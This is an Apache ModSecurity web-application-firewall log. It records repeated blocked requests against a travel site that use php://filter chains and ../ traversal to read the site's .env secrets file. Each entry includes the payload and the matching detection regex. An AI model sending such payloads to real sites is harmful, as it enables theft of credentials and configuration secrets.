[Fri Jul 17 08:55:11.166595 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&token=bsylP-iTK9LxjGRzTK1-SMX8t6Uh-mvDr47sGcSg5WjgT5Sp--iS9w27Pwn_mxlu6mV_GfM5vzTpmd5pY1zBoJPKssCj4_0Bp-AqJSuDsnLBF0uQwjP27bdIS5nixn_E5gFid5IvEWVoKRXw2qcHM68L6qxbLGkrW6WgzHuJ1EW4mWqZfIgp49t_CQRAd1-ZJ_OsVpkFv09fr_62r66DHS8fQTsDwxbB3cYww1sUZGPb7Q9ACo9OREDoE0hyMkZUBeCiQyn7Xe7dzocJ72YqNu1x&ref=QMYY4ZSPD4WETS3YAVVJH75ZXGEIVRFA7XAXZJMQA4HFFTN4VAY66W3SGAJPGOIHZWVQFSO6P..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.166671 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.166745 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&token=bsylP-iTK9LxjGRzTK1-SMX8t6Uh-mvDr47sGcSg5WjgT5Sp--iS9w27Pwn_mxlu6mV_GfM5vzTpmd5pY1zBoJPKssCj4_0Bp-AqJSuDsnLBF0uQwjP27bdIS5nixn_E5gFid5IvEWVoKRXw2qcHM68L6qxbLGkrW6WgzHuJ1EW4mWqZfIgp49t_CQRAd1-ZJ_OsVpkFv09fr_62r66DHS8fQTsDwxbB3cYww1sUZGPb7Q9ACo9OREDoE0hyMkZUBeCiQyn7Xe7dzocJ72YqNu1x&ref=QMYY4ZSPD4WETS3YAVVJH75ZXGEIVRFA7XAXZJMQA4HFFTN4VAY66W3SGAJPGOIHZWVQFSO6PQ5T36UNN3HWENPB6N3TSAAFX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.166788 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&token=bsylp-itk9lxjgrztk1-smx8t6uh-mvdr47sgcsg5wjgt5sp--is9w27pwn_mxlu6mv_gfm5vztpmd5py1zbojpksscj4_0bp-aqjsudsnlbf0uqwjp27bdis5nixn_e5gfid5ivewvokrxw2qchm68l6qxblgkrw6wgzhuj1ew4mwqzfigp49t_cqrad1-zj_osvpkfv09fr_62r66dhs8fqtsdwxbb3cyww1suzgpb7q9aco9oredoe0hymkzubeciqyn7xe7dzocj72yqnu1x&ref=qmyy4zspd4wets3yavvjh75zxgeivrfa7xaxzjmqa4hfftn4vay66w3sgajpgoihzwvqfso6pq5t36unn3hwenpb6n3tsaafx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.166814 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.166835 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.167197 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.168265 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.168377 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.168656 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AYAAAAAU"]
[Fri Jul 17 08:55:11.170221 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&sid=qtMlrxEwDR3eGr0XjzsQ26BbX-oW-UJtyFiysLLNmQa6kjHYnMBusabvhIKnuaEDu3E8vzk2Kp9-g6iyfSNS7oniTdgkrxLa7zvnP_GtMeOPr_3eulYog7puTH3kCxqzcWEycG2u0CBgWutwuZgDgq0lJOWdkCAO3H4Ezkwko2Ns2G_hRATJ0Oxa408BYi69Vz8niVYunszgr3R5L8AH0R_0viwGhs9zgyBbihnI8A4EfzZzdTPkry0tSS6XwThUludWkS4mG7gMvg4MZA5zhxHk&anything=SCLBHJG32HCVEKEJGVTS7TB7KZ5M6SVNGBB3YNH5TUPLUQMMLECXMCMGVIKJQT7CP..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.170279 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.170369 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&sid=qtMlrxEwDR3eGr0XjzsQ26BbX-oW-UJtyFiysLLNmQa6kjHYnMBusabvhIKnuaEDu3E8vzk2Kp9-g6iyfSNS7oniTdgkrxLa7zvnP_GtMeOPr_3eulYog7puTH3kCxqzcWEycG2u0CBgWutwuZgDgq0lJOWdkCAO3H4Ezkwko2Ns2G_hRATJ0Oxa408BYi69Vz8niVYunszgr3R5L8AH0R_0viwGhs9zgyBbihnI8A4EfzZzdTPkry0tSS6XwThUludWkS4mG7gMvg4MZA5zhxHk&anything=SCLBHJG32HCVEKEJGVTS7TB7KZ5M6SVNGBB3YNH5TUPLUQMMLECXMCMGVIKJQT7CP2BT6P7QDD6QYAYVHVLPIU7PD7U..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.170417 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&sid=qtmlrxewdr3egr0xjzsq26bbx-ow-ujtyfiysllnmqa6kjhynmbusabvhiknuaedu3e8vzk2kp9-g6iyfsns7onitdgkrxla7zvnp_gtmeopr_3eulyog7puth3kcxqzcweycg2u0cbgwutwuzgdgq0ljowdkcao3h4ezkwko2ns2g_hratj0oxa408byi69vz8nivyunszgr3r5l8ah0r_0viwghs9zgybbihni8a4efzzzdtpkry0tss6xwthuludwks4mg7gmvg4mza5zhxhk&anything=sclbhjg32hcvekejgvts7tb7kz5m6svngbb3ynh5tupluqmmlecxmcmgvikjqt7cp2bt6p7qdd6qyayvhvlpiu7pd7u..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.170457 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.170501 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.170861 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.171923 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.172382 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.172767 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-KwAAABw"]
[Fri Jul 17 08:55:11.245922 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPgAAAAY"]
[Fri Jul 17 08:55:11.246984 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPgAAAAY"]
[Fri Jul 17 08:55:11.247150 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.247167 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=gkLg2qPlWckMhSMSXiEGexMwHMiNLozkVj2qEPbyrVaGHFYZIoS46f5stC2cdT6OT_otDydoMiOil2f9Lb-l1Tbf70jEnvradIPTo4PbEhXvTGEqZcn3AyVfNOQpVjTt8jsZ3XB8CTC-WS9vr5lh1rFGcTvq47kZJTHM1TG3spbwtahH1uolY-58N-JFfB7LR9TzUk8KCvIXs46269CVYpbW9tqx_zCJ-li4XLMe-6aVWU7N7xFxfxUzndpQcQ2_SsvA-W_BHVyVdnZiygiECpvL&sid=FRYGAUNWTKNIJTFLBGK4YV4B4ICLCTDHR7DJMEBM42BCXYEAJ7NAQEPLM3..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.247203 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.247250 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&junk=gkLg2qPlWckMhSMSXiEGexMwHMiNLozkVj2qEPbyrVaGHFYZIoS46f5stC2cdT6OT_otDydoMiOil2f9Lb-l1Tbf70jEnvradIPTo4PbEhXvTGEqZcn3AyVfNOQpVjTt8jsZ3XB8CTC-WS9vr5lh1rFGcTvq47kZJTHM1TG3spbwtahH1uolY-58N-JFfB7LR9TzUk8KCvIXs46269CVYpbW9tqx_zCJ-li4XLMe-6aVWU7N7xFxfxUzndpQcQ2_SsvA-W_BHVyVdnZiygiECpvL&sid=FRYGAUNWTKNIJTFLBGK4YV4B4ICLCTDHR7DJMEBM42BCXYEAJ7NAQEPLM3C2EN7YCZHV2U7VOSP6VS2CD2WXTF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSbAAAAB4"]
[Fri Jul 17 08:55:11.247277 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&junk=gklg2qplwckmhsmsxiegexmwhminlozkvj2qepbyrvaghfyzios46f5stc2cdt6ot_otdydomioil2f9lb-l1tbf70jenvradipto4pbehxvtgeqzcn3ayvfnoqpvjtt8jsz3xb8ctc-ws9vr5lh1rfgctvq47kzjthm1tg3spbwtahh1uoly-58n-jffb7lr9tzuk8kcvixs46269cvypbw9tqx_zcj-li4xlme-6avwu7n7xfxfxuzndpqcq2_ssva-w_bhvyvdnziygiecpvl&sid=frygaunwtknijtflbgk4yv4b4iclctdhr7djmebm42bcxyeaj7naqeplm3c2en7yczhv2u7vosp6vs2cd2wxtf..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] 